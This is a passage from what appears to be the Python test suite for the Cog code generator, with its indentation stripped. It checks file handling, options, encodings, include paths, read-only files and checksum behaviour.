self.assertEqual(ret, 2)
stderr = sys.stderr.getvalue()
self.assertEqual(stderr, 'option -Z not recognized\n(for help use -?)\n')
files = {
'test.cog': """\
//[[[cog
def func():
import mycode
mycode.boom()
//]]]
//[[[end]]]
-----
//[[[cog
func()
//]]]
//[[[end]]]
""",
'mycode.py': """\
def boom():
[][0]
""",
}
def test_error_report(self):
self.check_error_report()
def test_error_report_with_prologue(self):
self.check_error_report("-p", "#1\n#2")
def check_error_report(self, *args):
"""Check that the error report is right."""
makeFiles(self.files)
sys.argv = ["argv0"] + list(args) + ["-r", "test.cog"]
main()
expected = reindentBlock("""\
Traceback (most recent call last):
File "test.cog", line 9, in <module>
func()
File "test.cog", line 4, in func
mycode.boom()
File "MYCODE", line 2, in boom
[][0]
IndexError: list index out of range
""")
if PY3:
expected = expected.replace("MYCODE", os.path.abspath("mycode.py"))
else:
expected = expected.replace("MYCODE", "mycode.py")
assert expected == sys.stderr.getvalue()
def test_error_in_prologue(self):
makeFiles(self.files)
sys.argv = ["argv0", "-p", "import mycode; mycode.boom()", "-r", "test.cog"]
main()
expected = reindentBlock("""\
Traceback (most recent call last):
File "<prologue>", line 1, in <module>
import mycode; mycode.boom()
File "MYCODE", line 2, in boom
[][0]
IndexError: list index out of range
""")
if PY3:
expected = expected.replace("MYCODE", os.path.abspath("mycode.py"))
else:
expected = expected.replace("MYCODE", "mycode.py")
assert expected == sys.stderr.getvalue()
class TestFileHandling(TestCaseWithTempDir):
def testSimple(self):
d = {
'test.cog': """\
// This is my C++ file.
//[[[cog
fnames = ['DoSomething', 'DoAnotherThing', 'DoLastThing']
for fn in fnames:
cog.outl("void %s();" % fn)
//]]]
//[[[end]]]
""",
'test.out': """\
// This is my C++ file.
//[[[cog
fnames = ['DoSomething', 'DoAnotherThing', 'DoLastThing']
for fn in fnames:
cog.outl("void %s();" % fn)
//]]]
void DoSomething();
void DoAnotherThing();
void DoLastThing();
//[[[end]]]
""",
}
makeFiles(d)
self.cog.callableMain(['argv0', '-r', 'test.cog'])
self.assertFilesSame('test.cog', 'test.out')
output = self.output.getvalue()
self.assertIn("(changed)", output)
def testWildcards(self):
d = {
'test.cog': """\
// This is my C++ file.
//[[[cog
fnames = ['DoSomething', 'DoAnotherThing', 'DoLastThing']
for fn in fnames:
cog.outl("void %s();" % fn)
//]]]
//[[[end]]]
""",
'test2.cog': """\
// This is my C++ file.
//[[[cog
fnames = ['DoSomething', 'DoAnotherThing', 'DoLastThing']
for fn in fnames:
cog.outl("void %s();" % fn)
//]]]
//[[[end]]]
""",
'test.out': """\
// This is my C++ file.
//[[[cog
fnames = ['DoSomething', 'DoAnotherThing', 'DoLastThing']
for fn in fnames:
cog.outl("void %s();" % fn)
//]]]
void DoSomething();
void DoAnotherThing();
void DoLastThing();
//[[[end]]]
""",
'not_this_one.cog': """\
// This is my C++ file.
//[[[cog
fnames = ['DoSomething', 'DoAnotherThing', 'DoLastThing']
for fn in fnames:
cog.outl("void %s();" % fn)
//]]]
//[[[end]]]
""",
'not_this_one.out': """\
// This is my C++ file.
//[[[cog
fnames = ['DoSomething', 'DoAnotherThing', 'DoLastThing']
for fn in fnames:
cog.outl("void %s();" % fn)
//]]]
//[[[end]]]
""",
}
makeFiles(d)
self.cog.callableMain(['argv0', '-r', 't*.cog'])
self.assertFilesSame('test.cog', 'test.out')
self.assertFilesSame('test2.cog', 'test.out')
self.assertFilesSame('not_this_one.cog', 'not_this_one.out')
output = self.output.getvalue()
self.assertIn("(changed)", output)
def testOutputFile(self):
# -o sets the output file.
d = {
'test.cog': """\
// This is my C++ file.
//[[[cog
fnames = ['DoSomething', 'DoAnotherThing', 'DoLastThing']
for fn in fnames:
cog.outl("void %s();" % fn)
//]]]
//[[[end]]]
""",
'test.out': """\
// This is my C++ file.
//[[[cog
fnames = ['DoSomething', 'DoAnotherThing', 'DoLastThing']
for fn in fnames:
cog.outl("void %s();" % fn)
//]]]
void DoSomething();
void DoAnotherThing();
void DoLastThing();
//[[[end]]]
""",
}
makeFiles(d)
self.cog.callableMain(['argv0', '-o', 'in/a/dir/test.cogged', 'test.cog'])
self.assertFilesSame('in/a/dir/test.cogged', 'test.out')
def testAtFile(self):
d = {
'one.cog': """\
//[[[cog
cog.outl("hello world")
//]]]
//[[[end]]]
""",
'one.out': """\
//[[[cog
cog.outl("hello world")
//]]]
hello world
//[[[end]]]
""",
'two.cog': """\
//[[[cog
cog.outl("goodbye cruel world")
//]]]
//[[[end]]]
""",
'two.out': """\
//[[[cog
cog.outl("goodbye cruel world")
//]]]
goodbye cruel world
//[[[end]]]
""",
'cogfiles.txt': """\
# Please run cog
one.cog
two.cog
"""
}
makeFiles(d)
self.cog.callableMain(['argv0', '-r', '@cogfiles.txt'])
self.assertFilesSame('one.cog', 'one.out')
self.assertFilesSame('two.cog', 'two.out')
output = self.output.getvalue()
self.assertIn("(changed)", output)
def testNestedAtFile(self):
d = {
'one.cog': """\
//[[[cog
cog.outl("hello world")
//]]]
//[[[end]]]
""",
'one.out': """\
//[[[cog
cog.outl("hello world")
//]]]
hello world
//[[[end]]]
""",
'two.cog': """\
//[[[cog
cog.outl("goodbye cruel world")
//]]]
//[[[end]]]
""",
'two.out': """\
//[[[cog
cog.outl("goodbye cruel world")
//]]]
goodbye cruel world
//[[[end]]]
""",
'cogfiles.txt': """\
# Please run cog
one.cog
@cogfiles2.txt
""",
'cogfiles2.txt': """\
# This one too, please.
two.cog
""",
}
makeFiles(d)
self.cog.callableMain(['argv0', '-r', '@cogfiles.txt'])
self.assertFilesSame('one.cog', 'one.out')
self.assertFilesSame('two.cog', 'two.out')
output = self.output.getvalue()
self.assertIn("(changed)", output)
def testAtFileWithArgs(self):
d = {
'both.cog': """\
//[[[cog
cog.outl("one: %s" % ('one' in globals()))
cog.outl("two: %s" % ('two' in globals()))
//]]]
//[[[end]]]
""",
'one.out': """\
//[[[cog
cog.outl("one: %s" % ('one' in globals()))
cog.outl("two: %s" % ('two' in globals()))
//]]]
one: True // ONE
two: False // ONE
//[[[end]]]
""",
'two.out': """\
//[[[cog
cog.outl("one: %s" % ('one' in globals()))
cog.outl("two: %s" % ('two' in globals()))
//]]]
one: False // TWO
two: True // TWO
//[[[end]]]
""",
'cogfiles.txt': """\
# Please run cog
both.cog -o in/a/dir/both.one -s ' // ONE' -D one=x
both.cog -o in/a/dir/both.two -s ' // TWO' -D two=x
"""
}
makeFiles(d)
self.cog.callableMain(['argv0', '@cogfiles.txt'])
self.assertFilesSame('in/a/dir/both.one', 'one.out')
self.assertFilesSame('in/a/dir/both.two', 'two.out')
def testAtFileWithBadArgCombo(self):
d = {
'both.cog': """\
//[[[cog
cog.outl("one: %s" % ('one' in globals()))
cog.outl("two: %s" % ('two' in globals()))
//]]]
//[[[end]]]
""",
'cogfiles.txt': """\
# Please run cog
both.cog
both.cog -d # This is bad: -r and -d
"""
}
makeFiles(d)
with self.assertRaisesRegex(CogUsageError, r"^Can't use -d with -r \(or you would delete all your source!\)$"):
self.cog.callableMain(['argv0', '-r', '@cogfiles.txt'])
def testAtFileWithTrickyFilenames(self):
def fix_backslashes(files_txt):
"""Make the contents of a files.txt sensitive to the platform."""
if sys.platform != "win32":
files_txt = files_txt.replace("\\", "/")
return files_txt
d = {
'one 1.cog': """\
//[[[cog cog.outl("hello world") ]]]
""",
'one.out': """\
//[[[cog cog.outl("hello world") ]]]
hello world //xxx
""",
'subdir': {
'subback.cog': """\
//[[[cog cog.outl("down deep with backslashes") ]]]
""",
'subfwd.cog': """\
//[[[cog cog.outl("down deep with slashes") ]]]
""",
},
'subback.out': """\
//[[[cog cog.outl("down deep with backslashes") ]]]
down deep with backslashes //yyy
""",
'subfwd.out': """\
//[[[cog cog.outl("down deep with slashes") ]]]
down deep with slashes //zzz
""",
'cogfiles.txt': fix_backslashes("""\
# Please run cog
'one 1.cog' -s ' //xxx'
subdir\\subback.cog -s ' //yyy'
subdir/subfwd.cog -s ' //zzz'
""")
}
makeFiles(d)
self.cog.callableMain(['argv0', '-z', '-r', '@cogfiles.txt'])
self.assertFilesSame('one 1.cog', 'one.out')
self.assertFilesSame('subdir/subback.cog', 'subback.out')
self.assertFilesSame('subdir/subfwd.cog', 'subfwd.out')
def run_with_verbosity(self, verbosity):
d = {
'unchanged.cog': """\
//[[[cog
cog.outl("hello world")
//]]]
hello world
//[[[end]]]
""",
'changed.cog': """\
//[[[cog
cog.outl("goodbye cruel world")
//]]]
//[[[end]]]
""",
'cogfiles.txt': """\
unchanged.cog
changed.cog
"""
}
makeFiles(d)
self.cog.callableMain(['argv0', '-r', '--verbosity='+verbosity, '@cogfiles.txt'])
output = self.output.getvalue()
return output
def test_verbosity0(self):
output = self.run_with_verbosity("0")
self.assertEqual(output, "")
def test_verbosity1(self):
output = self.run_with_verbosity("1")
self.assertEqual(output, "Cogging changed.cog (changed)\n")
def test_verbosity2(self):
output = self.run_with_verbosity("2")
self.assertEqual(output, "Cogging unchanged.cog\nCogging changed.cog (changed)\n")
class CogTestLineEndings(TestCaseWithTempDir):
"""Tests for -U option (force LF line-endings in output)."""
lines_in = ['Some text.',
'//[[[cog',
'cog.outl("Cog text")',
'//]]]',
'gobbledegook.',
'//[[[end]]]',
'epilogue.',
'']
lines_out = ['Some text.',
'//[[[cog',
'cog.outl("Cog text")',
'//]]]',
'Cog text',
'//[[[end]]]',
'epilogue.',
'']
def testOutputNativeEol(self):
makeFiles({'infile': '\n'.join(self.lines_in)})
self.cog.callableMain(['argv0', '-o', 'outfile', 'infile'])
self.assertFileContent('outfile', os.linesep.join(self.lines_out))
def testOutputLfEol(self):
makeFiles({'infile': '\n'.join(self.lines_in)})
self.cog.callableMain(['argv0', '-U', '-o', 'outfile', 'infile'])
self.assertFileContent('outfile', '\n'.join(self.lines_out))
def testReplaceNativeEol(self):
makeFiles({'test.cog': '\n'.join(self.lines_in)})
self.cog.callableMain(['argv0', '-r', 'test.cog'])
self.assertFileContent('test.cog', os.linesep.join(self.lines_out))
def testReplaceLfEol(self):
makeFiles({'test.cog': '\n'.join(self.lines_in)})
self.cog.callableMain(['argv0', '-U', '-r', 'test.cog'])
self.assertFileContent('test.cog', '\n'.join(self.lines_out))
class CogTestCharacterEncoding(TestCaseWithTempDir):
def testSimple(self):
d = {
'test.cog': b"""\
// This is my C++ file.
//[[[cog
cog.outl("// Unicode: \xe1\x88\xb4 (U+1234)")
//]]]
//[[[end]]]
""",
'test.out': b"""\
// This is my C++ file.
//[[[cog
cog.outl("// Unicode: \xe1\x88\xb4 (U+1234)")
//]]]
// Unicode: \xe1\x88\xb4 (U+1234)
//[[[end]]]
""".replace(b"\n", os.linesep.encode()),
}
makeFiles(d, bytes=True)
self.cog.callableMain(['argv0', '-r', 'test.cog'])
self.assertFilesSame('test.cog', 'test.out')
output = self.output.getvalue()
self.assertIn("(changed)", output)
def testFileEncodingOption(self):
d = {
'test.cog': b"""\
// \xca\xee\xe4\xe8\xf0\xe2\xea\xe0 Windows
//[[[cog
cog.outl("\xd1\xfa\xe5\xf8\xfc \xe5\xf9\xb8 \xfd\xf2\xe8\xf5 \xec\xff\xe3\xea\xe8\xf5 \xf4\xf0\xe0\xed\xf6\xf3\xe7\xf1\xea\xe8\xf5 \xe1\xf3\xeb\xee\xea \xe4\xe0 \xe2\xfb\xef\xe5\xe9 \xf7\xe0\xfe")
//]]]
//[[[end]]]
""",
'test.out': b"""\
// \xca\xee\xe4\xe8\xf0\xe2\xea\xe0 Windows
//[[[cog
cog.outl("\xd1\xfa\xe5\xf8\xfc \xe5\xf9\xb8 \xfd\xf2\xe8\xf5 \xec\xff\xe3\xea\xe8\xf5 \xf4\xf0\xe0\xed\xf6\xf3\xe7\xf1\xea\xe8\xf5 \xe1\xf3\xeb\xee\xea \xe4\xe0 \xe2\xfb\xef\xe5\xe9 \xf7\xe0\xfe")
//]]]
\xd1\xfa\xe5\xf8\xfc \xe5\xf9\xb8 \xfd\xf2\xe8\xf5 \xec\xff\xe3\xea\xe8\xf5 \xf4\xf0\xe0\xed\xf6\xf3\xe7\xf1\xea\xe8\xf5 \xe1\xf3\xeb\xee\xea \xe4\xe0 \xe2\xfb\xef\xe5\xe9 \xf7\xe0\xfe
//[[[end]]]
""".replace(b"\n", os.linesep.encode()),
}
makeFiles(d, bytes=True)
self.cog.callableMain(['argv0', '-n', 'cp1251', '-r', 'test.cog'])
self.assertFilesSame('test.cog', 'test.out')
output = self.output.getvalue()
self.assertIn("(changed)", output)
class TestCaseWithImports(TestCaseWithTempDir):
""" When running tests which import modules, the sys.modules list
leaks from one test to the next. This test case class scrubs
the list after each run to keep the tests isolated from each other.
"""
def setUp(self):
super(TestCaseWithImports, self).setUp()
self.sysmodulekeys = list(sys.modules)
def tearDown(self):
modstoscrub = [
modname
for modname in sys.modules
if modname not in self.sysmodulekeys
]
for modname in modstoscrub:
del sys.modules[modname]
super(TestCaseWithImports, self).tearDown()
class CogIncludeTests(TestCaseWithImports):
dincludes = {
'test.cog': """\
//[[[cog
import mymodule
//]]]
//[[[end]]]
""",
'test.out': """\
//[[[cog
import mymodule
//]]]
Hello from mymodule
//[[[end]]]
""",
'test2.out': """\
//[[[cog
import mymodule
//]]]
Hello from mymodule in inc2
//[[[end]]]
""",
'include': {
'mymodule.py': """\
import cog
cog.outl("Hello from mymodule")
"""
},
'inc2': {
'mymodule.py': """\
import cog
cog.outl("Hello from mymodule in inc2")
"""
},
'inc3': {
'someothermodule.py': """\
import cog
cog.outl("This is some other module.")
"""
},
}
def testNeedIncludePath(self):
# Try it without the -I, to see that an ImportError happens.
makeFiles(self.dincludes)
msg = "(ImportError|ModuleNotFoundError): No module named '?mymodule'?"
with self.assertRaisesRegex(CogUserException, msg):
self.cog.callableMain(['argv0', '-r', 'test.cog'])
def testIncludePath(self):
# Test that -I adds include directories properly.
makeFiles(self.dincludes)
self.cog.callableMain(['argv0', '-r', '-I', 'include', 'test.cog'])
self.assertFilesSame('test.cog', 'test.out')
def testTwoIncludePaths(self):
# Test that two -I's add include directories properly.
makeFiles(self.dincludes)
self.cog.callableMain(['argv0', '-r', '-I', 'include', '-I', 'inc2', 'test.cog'])
self.assertFilesSame('test.cog', 'test.out')
def testTwoIncludePaths2(self):
# Test that two -I's add include directories properly.
makeFiles(self.dincludes)
self.cog.callableMain(['argv0', '-r', '-I', 'inc2', '-I', 'include', 'test.cog'])
self.assertFilesSame('test.cog', 'test2.out')
def testUselessIncludePath(self):
# Test that the search will continue past the first directory.
makeFiles(self.dincludes)
self.cog.callableMain(['argv0', '-r', '-I', 'inc3', '-I', 'include', 'test.cog'])
self.assertFilesSame('test.cog', 'test.out')
def testSysPathIsUnchanged(self):
d = {
'bad.cog': """\
//[[[cog cog.error("Oh no!") ]]]
//[[[end]]]
""",
'good.cog': """\
//[[[cog cog.outl("Oh yes!") ]]]
//[[[end]]]
""",
}
makeFiles(d)
# Is it unchanged just by creating a cog engine?
oldsyspath = sys.path[:]
self.newCog()
self.assertEqual(oldsyspath, sys.path)
# Is it unchanged for a successful run?
self.newCog()
self.cog.callableMain(['argv0', '-r', 'good.cog'])
self.assertEqual(oldsyspath, sys.path)
# Is it unchanged for a successful run with includes?
self.newCog()
self.cog.callableMain(['argv0', '-r', '-I', 'xyzzy', 'good.cog'])
self.assertEqual(oldsyspath, sys.path)
# Is it unchanged for a successful run with two includes?
self.newCog()
self.cog.callableMain(['argv0', '-r', '-I', 'xyzzy', '-I', 'quux', 'good.cog'])
self.assertEqual(oldsyspath, sys.path)
# Is it unchanged for a failed run?
self.newCog()
with self.assertRaisesRegex(CogError, r"^Oh no!$"):
self.cog.callableMain(['argv0', '-r', 'bad.cog'])
self.assertEqual(oldsyspath, sys.path)
# Is it unchanged for a failed run with includes?
self.newCog()
with self.assertRaisesRegex(CogError, r"^Oh no!$"):
self.cog.callableMain(['argv0', '-r', '-I', 'xyzzy', 'bad.cog'])
self.assertEqual(oldsyspath, sys.path)
# Is it unchanged for a failed run with two includes?
self.newCog()
with self.assertRaisesRegex(CogError, r"^Oh no!$"):
self.cog.callableMain(['argv0', '-r', '-I', 'xyzzy', '-I', 'quux', 'bad.cog'])
self.assertEqual(oldsyspath, sys.path)
def testSubDirectories(self):
# Test that relative paths on the command line work, with includes.
d = {
'code': {
'test.cog': """\
//[[[cog
import mysubmodule
//]]]
//[[[end]]]
""",
'test.out': """\
//[[[cog
import mysubmodule
//]]]
Hello from mysubmodule
//[[[end]]]
""",
'mysubmodule.py': """\
import cog
cog.outl("Hello from mysubmodule")
"""
}
}
makeFiles(d)
# We should be able to invoke cog without the -I switch, and it will
# auto-include the current directory
self.cog.callableMain(['argv0', '-r', 'code/test.cog'])
self.assertFilesSame('code/test.cog', 'code/test.out')
class CogTestsInFiles(TestCaseWithTempDir):
def testWarnIfNoCogCode(self):
# Test that the -e switch warns if there is no Cog code.
d = {
'with.cog': """\
//[[[cog
cog.outl("hello world")
//]]]
hello world
//[[[end]]]
""",
'without.cog': """\
There's no cog
code in this file.
""",
}
makeFiles(d)
self.cog.callableMain(['argv0', '-e', 'with.cog'])
output = self.output.getvalue()
self.assertNotIn("Warning", output)
self.newCog()
self.cog.callableMain(['argv0', '-e', 'without.cog'])
output = self.output.getvalue()
self.assertIn("Warning: no cog code found in without.cog", output)
self.newCog()
self.cog.callableMain(['argv0', 'without.cog'])
output = self.output.getvalue()
self.assertNotIn("Warning", output)
def testFileNameProps(self):
d = {
'cog1.txt': """\
//[[[cog
cog.outl("This is %s in, %s out" % (cog.inFile, cog.outFile))
//]]]
this is cog1.txt in, cog1.txt out
[[[end]]]
""",
'cog1.out': """\
//[[[cog
cog.outl("This is %s in, %s out" % (cog.inFile, cog.outFile))
//]]]
This is cog1.txt in, cog1.txt out
[[[end]]]
""",
'cog1out.out': """\
//[[[cog
cog.outl("This is %s in, %s out" % (cog.inFile, cog.outFile))
//]]]
This is cog1.txt in, cog1out.txt out
[[[end]]]
""",
}
makeFiles(d)
self.cog.callableMain(['argv0', '-r', 'cog1.txt'])
self.assertFilesSame('cog1.txt', 'cog1.out')
self.newCog()
self.cog.callableMain(['argv0', '-o', 'cog1out.txt', 'cog1.txt'])
self.assertFilesSame('cog1out.txt', 'cog1out.out')
def testGlobalsDontCrossFiles(self):
# Make sure that global values don't get shared between files.
d = {
'one.cog': """\
//[[[cog s = "This was set in one.cog" ]]]
//[[[end]]]
//[[[cog cog.outl(s) ]]]
//[[[end]]]
""",
'one.out': """\
//[[[cog s = "This was set in one.cog" ]]]
//[[[end]]]
//[[[cog cog.outl(s) ]]]
This was set in one.cog
//[[[end]]]
""",
'two.cog': """\
//[[[cog
try:
cog.outl(s)
except NameError:
cog.outl("s isn't set!")
//]]]
//[[[end]]]
""",
'two.out': """\
//[[[cog
try:
cog.outl(s)
except NameError:
cog.outl("s isn't set!")
//]]]
s isn't set!
//[[[end]]]
""",
'cogfiles.txt': """\
# Please run cog
one.cog
two.cog
"""
}
makeFiles(d)
self.cog.callableMain(['argv0', '-r', '@cogfiles.txt'])
self.assertFilesSame('one.cog', 'one.out')
self.assertFilesSame('two.cog', 'two.out')
output = self.output.getvalue()
self.assertIn("(changed)", output)
def testRemoveGeneratedOutput(self):
d = {
'cog1.txt': """\
//[[[cog
cog.outl("This line was generated.")
//]]]
This line was generated.
//[[[end]]]
This line was not.
""",
'cog1.out': """\
//[[[cog
cog.outl("This line was generated.")
//]]]
//[[[end]]]
This line was not.
""",
'cog1.out2': """\
//[[[cog
cog.outl("This line was generated.")
//]]]
This line was generated.
//[[[end]]]
This line was not.
""",
}
makeFiles(d)
# Remove generated output.
self.cog.callableMain(['argv0', '-r', '-x', 'cog1.txt'])
self.assertFilesSame('cog1.txt', 'cog1.out')
self.newCog()
# Regenerate the generated output.
self.cog.callableMain(['argv0', '-r', 'cog1.txt'])
self.assertFilesSame('cog1.txt', 'cog1.out2')
self.newCog()
# Remove the generated output again.
self.cog.callableMain(['argv0', '-r', '-x', 'cog1.txt'])
self.assertFilesSame('cog1.txt', 'cog1.out')
def testMsgCall(self):
infile = """\
#[[[cog
cog.msg("Hello there!")
#]]]
#[[[end]]]
"""
infile = reindentBlock(infile)
self.assertEqual(self.cog.processString(infile), infile)
output = self.output.getvalue()
self.assertEqual(output, "Message: Hello there!\n")
def testErrorMessageHasNoTraceback(self):
# Test that a Cog error is printed to stderr with no traceback.
d = {
'cog1.txt': """\
//[[[cog
cog.outl("This line was newly")
cog.outl("generated by cog")
cog.outl("blah blah.")
//]]]
Xhis line was newly
generated by cog
blah blah.
//[[[end]]] (checksum: a8540982e5ad6b95c9e9a184b26f4346)
""",
}
makeFiles(d)
stderr = StringIO()
self.cog.setOutput(stderr=stderr)
self.cog.main(['argv0', '-c', '-r', "cog1.txt"])
self.assertEqual(self.output.getvalue(), "Cogging cog1.txt\n")
self.assertEqual(stderr.getvalue(), "cog1.txt(9): Output has been edited! Delete old checksum to unprotect.\n")
def testDashD(self):
d = {
'test.cog': """\
--[[[cog cog.outl("Defined fooey as " + fooey) ]]]
--[[[end]]]
""",
'test.kablooey': """\
--[[[cog cog.outl("Defined fooey as " + fooey) ]]]
Defined fooey as kablooey
--[[[end]]]
""",
'test.einstein': """\
--[[[cog cog.outl("Defined fooey as " + fooey) ]]]
Defined fooey as e=mc2
--[[[end]]]
""",
}
makeFiles(d)
self.cog.callableMain(['argv0', '-r', '-D', 'fooey=kablooey', 'test.cog'])
self.assertFilesSame('test.cog', 'test.kablooey')
makeFiles(d)
self.cog.callableMain(['argv0', '-r', '-Dfooey=kablooey', 'test.cog'])
self.assertFilesSame('test.cog', 'test.kablooey')
makeFiles(d)
self.cog.callableMain(['argv0', '-r', '-Dfooey=e=mc2', 'test.cog'])
self.assertFilesSame('test.cog', 'test.einstein')
makeFiles(d)
self.cog.callableMain(['argv0', '-r', '-Dbar=quux', '-Dfooey=kablooey', 'test.cog'])
self.assertFilesSame('test.cog', 'test.kablooey')
makeFiles(d)
self.cog.callableMain(['argv0', '-r', '-Dfooey=kablooey', '-Dbar=quux', 'test.cog'])
self.assertFilesSame('test.cog', 'test.kablooey')
makeFiles(d)
self.cog.callableMain(['argv0', '-r', '-Dfooey=gooey', '-Dfooey=kablooey', 'test.cog'])
self.assertFilesSame('test.cog', 'test.kablooey')
def testOutputToStdout(self):
d = {
'test.cog': """\
--[[[cog cog.outl('Hey there!') ]]]
--[[[end]]]
"""
}
makeFiles(d)
stderr = StringIO()
self.cog.setOutput(stderr=stderr)
self.cog.callableMain(['argv0', 'test.cog'])
output = self.output.getvalue()
outerr = stderr.getvalue()
self.assertEqual(output, "--[[[cog cog.outl('Hey there!') ]]]\nHey there!\n--[[[end]]]\n")
self.assertEqual(outerr, "")
def testReadFromStdin(self):
stdin = StringIO("--[[[cog cog.outl('Wow') ]]]\n--[[[end]]]\n")
def restore_stdin(old_stdin):
sys.stdin = old_stdin
self.addCleanup(restore_stdin, sys.stdin)
sys.stdin = stdin
stderr = StringIO()
self.cog.setOutput(stderr=stderr)
self.cog.callableMain(['argv0', '-'])
output = self.output.getvalue()
outerr = stderr.getvalue()
self.assertEqual(output, "--[[[cog cog.outl('Wow') ]]]\nWow\n--[[[end]]]\n")
self.assertEqual(outerr, "")
def testSuffixOutputLines(self):
d = {
'test.cog': """\
Hey there.
;[[[cog cog.outl('a\\nb\\n \\nc') ]]]
;[[[end]]]
Good bye.
""",
'test.out': """\
Hey there.
;[[[cog cog.outl('a\\nb\\n \\nc') ]]]
a (foo)
b (foo)
""" # These three trailing spaces are important.
# The suffix is not applied to completely blank lines.
"""
c (foo)
;[[[end]]]
Good bye.
""",
}
makeFiles(d)
self.cog.callableMain(['argv0', '-r', '-s', ' (foo)', 'test.cog'])
self.assertFilesSame('test.cog', 'test.out')
def testEmptySuffix(self):
d = {
'test.cog': """\
;[[[cog cog.outl('a\\nb\\nc') ]]]
;[[[end]]]
""",
'test.out': """\
;[[[cog cog.outl('a\\nb\\nc') ]]]
a
b
c
;[[[end]]]
""",
}
makeFiles(d)
self.cog.callableMain(['argv0', '-r', '-s', '', 'test.cog'])
self.assertFilesSame('test.cog', 'test.out')
def testHellishSuffix(self):
d = {
'test.cog': """\
;[[[cog cog.outl('a\\n\\nb') ]]]
""",
'test.out': """\
;[[[cog cog.outl('a\\n\\nb') ]]]
a /\\n*+([)]><
b /\\n*+([)]><
""",
}
makeFiles(d)
self.cog.callableMain(['argv0', '-z', '-r', '-s', r' /\n*+([)]><', 'test.cog'])
self.assertFilesSame('test.cog', 'test.out')
def testPrologue(self):
d = {
'test.cog': """\
Some text.
//[[[cog cog.outl(str(math.sqrt(2))[:12])]]]
//[[[end]]]
epilogue.
""",
'test.out': """\
Some text.
//[[[cog cog.outl(str(math.sqrt(2))[:12])]]]
1.4142135623
//[[[end]]]
epilogue.
""",
}
makeFiles(d)
self.cog.callableMain(['argv0', '-r', '-p', 'import math', 'test.cog'])
self.assertFilesSame('test.cog', 'test.out')
def testThreads(self):
# Test that the implictly imported cog module is actually different for
# different threads.
numthreads = 20
d = {}
for i in range(numthreads):
d['f{}.cog'.format(i)] = (
"x\n" * i +
"[[[cog\n" +
"assert cog.firstLineNum == int(FIRST) == {}\n".format(i+1) +
"]]]\n" +
"[[[end]]]\n"
)
makeFiles(d)
results = []
def thread_main(num):
try:
ret = Cog().main(
['cog.py', '-r', '-D', 'FIRST={}'.format(num+1), 'f{}.cog'.format(num)]
)
assert ret == 0
except Exception as exc: # pragma: no cover (only happens on test failure)
results.append(exc)
else:
results.append(None)
ts = [threading.Thread(target=thread_main, args=(i,)) for i in range(numthreads)]
for t in ts:
t.start()
for t in ts:
t.join()
assert results == [None] * numthreads
class WritabilityTests(TestCaseWithTempDir):
d = {
'test.cog': """\
//[[[cog
for fn in ['DoSomething', 'DoAnotherThing', 'DoLastThing']:
cog.outl("void %s();" % fn)
//]]]
//[[[end]]]
""",
'test.out': """\
//[[[cog
for fn in ['DoSomething', 'DoAnotherThing', 'DoLastThing']:
cog.outl("void %s();" % fn)
//]]]
void DoSomething();
void DoAnotherThing();
void DoLastThing();
//[[[end]]]
""",
}
if os.name == 'nt': #pragma: no cover
# for Windows
cmd_w_args = 'attrib -R %s'
cmd_w_asterisk = 'attrib -R *'
else: #pragma: no cover
# for unix-like
cmd_w_args = 'chmod +w %s'
cmd_w_asterisk = 'chmod +w *'
def setUp(self):
super(WritabilityTests, self).setUp()
makeFiles(self.d)
self.testcog = os.path.join(self.tempdir, 'test.cog')
os.chmod(self.testcog, stat.S_IREAD) # Make the file readonly.
assert not os.access(self.testcog, os.W_OK)
def tearDown(self):
os.chmod(self.testcog, stat.S_IWRITE) # Make the file writable again.
super(WritabilityTests, self).tearDown()
def testReadonlyNoCommand(self):
with self.assertRaisesRegex(CogError, "^Can't overwrite test.cog$"):
self.cog.callableMain(['argv0', '-r', 'test.cog'])
assert not os.access(self.testcog, os.W_OK)
def testReadonlyWithCommand(self):
self.cog.callableMain(['argv0', '-r', '-w', self.cmd_w_args, 'test.cog'])
self.assertFilesSame('test.cog', 'test.out')
assert os.access(self.testcog, os.W_OK)
def testReadonlyWithCommandWithNoSlot(self):
self.cog.callableMain(['argv0', '-r', '-w', self.cmd_w_asterisk, 'test.cog'])
self.assertFilesSame('test.cog', 'test.out')
assert os.access(self.testcog, os.W_OK)
def testReadonlyWithIneffectualCommand(self):
with self.assertRaisesRegex(CogError, "^Couldn't make test.cog writable$"):
self.cog.callableMain(['argv0', '-r', '-w', 'echo %s', 'test.cog'])
assert not os.access(self.testcog, os.W_OK)
class ChecksumTests(TestCaseWithTempDir):
def testCreateChecksumOutput(self):
d = {
'cog1.txt': """\
//[[[cog
cog.outl("This line was generated.")
//]]]
This line was generated.
//[[[end]]]
This line was not.
""",
'cog1.out': """\
//[[[cog
cog.outl("This line was generated.")
//]]]
This line was generated.
//[[[end]]] (checksum: 8adb13fb59b996a1c7f0065ea9f3d893)
This line was not.
""",
}
makeFiles(d)
self.cog.callableMain(['argv0', '-r', '-c', 'cog1.txt'])
self.assertFilesSame('cog1.txt', 'cog1.out')
def testCheckChecksumOutput(self):
d = {
'cog1.txt': """\
//[[[cog
cog.outl("This line was newly")
cog.outl("generated by cog")
cog.outl("blah blah.")
//]]]
This line was generated.
//[[[end]]] (checksum: 8adb13fb59b996a1c7f0065ea9f3d893)
""",
'cog1.out': """\
//[[[cog
cog.outl("This line was newly")
cog.outl("generated by cog")
cog.outl("blah blah.")
//]]]
This line was newly
generated by cog
blah blah.
//[[[end]]] (checksum: a8540982e5ad6b95c9e9a184b26f4346)
""",
}
makeFiles(d)
self.cog.callableMain(['argv0', '-r', '-c', 'cog1.txt'])
self.assertFilesSame('cog1.txt', 'cog1.out')
def testRemoveChecksumOutput(self):
d = {
'cog1.txt': """\
//[[[cog
cog.outl("This line was newly")
cog.outl("generated by cog")
cog.outl("blah blah.")
//]]]
This line was generated.
//[[[end]]] (checksum: 8adb13fb59b996a1c7f0065ea9f3d893) fooey
""",
'cog1.out': """\
//[[[cog
cog.outl("This line was newly")
cog.outl("generated by cog")
cog.outl("blah blah.")
//]]]
This line was newly
generated by cog
blah blah.
//[[[end]]] fooey
""",
}
makeFiles(d)
self.cog.callableMain(['argv0', '-r', 'cog1.txt'])
self.assertFilesSame('cog1.txt', 'cog1.out')
def testTamperedChecksumOutput(self):
d = {
'cog1.txt': """\
//[[[cog
cog.outl("This line was newly")
cog.outl("generated by cog")
cog.outl("blah blah.")
//]]]
Xhis line was newly
generated by cog
blah blah.
//[[[end]]] (checksum: a8540982e5ad6b95c9e9a184b26f4346)
""",
'cog2.txt': """\
//[[[cog
cog.outl("This line was newly")
cog.outl("generated by cog")
cog.outl("blah blah.")
//]]]
This line was newly
generated by cog
blah blah!
